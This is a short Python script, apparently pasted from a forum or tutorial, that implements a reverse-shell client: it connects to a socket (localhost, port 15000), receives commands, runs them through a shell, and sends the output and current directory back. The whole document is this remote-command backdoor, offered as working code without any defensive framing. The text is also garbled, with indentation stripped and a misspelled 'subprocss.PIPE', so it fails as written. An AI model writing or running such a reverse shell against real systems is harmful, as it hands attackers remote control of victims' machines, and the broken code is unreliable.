# this is the code
import socket
import os
import subprocess
host = 'localhost'
port = 15000
s = socket.socket()
s.connect((host, port))
while True:
data = s.recv(2048)
if data [:2].decode("utf-8") == 'cd' :
os.chdir(data [3:].decode("utf-8"))
if len(data) > 0:
cmd = subprocess.Popen(data [:].decode("utf8"), shell=True, stdout=subprocess.PIPE, stderr=subprocess.PIPE, stdin=subprocss.PIPE)
output_bytes = cmd.stdout.read() + cmd.stderr.read()
output_str = str(output_bytes, "utf-8")
s.send(str.encode(output_str + str(os.getcwd()) + '>'))
print(output_str)